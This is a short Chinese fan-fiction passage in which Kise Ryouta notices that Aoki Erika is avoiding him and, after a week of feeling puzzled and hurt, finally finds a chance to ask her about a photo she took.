在陌生的新的环境里,和熟悉的人先打招呼熟悉是很自然的行为,黄濑凉太也是。不过他的目的不只是这样,他还想问问青木绘里花拍摄的那张照片。 在刻意地关注下,黄濑凉太很快发现,青木绘里花似乎在躲他。 比暑假时候更甚,简直像滑不溜的泥鳅一样。 黄濑凉太不想自找没趣,对于热脸贴冷屁股也不感兴趣,但他实在是百思不得其解到底为何会这样,以至于难得升起了一股委屈的情绪。 这样的情况持续了一周,黄濑凉太终于找到了机会。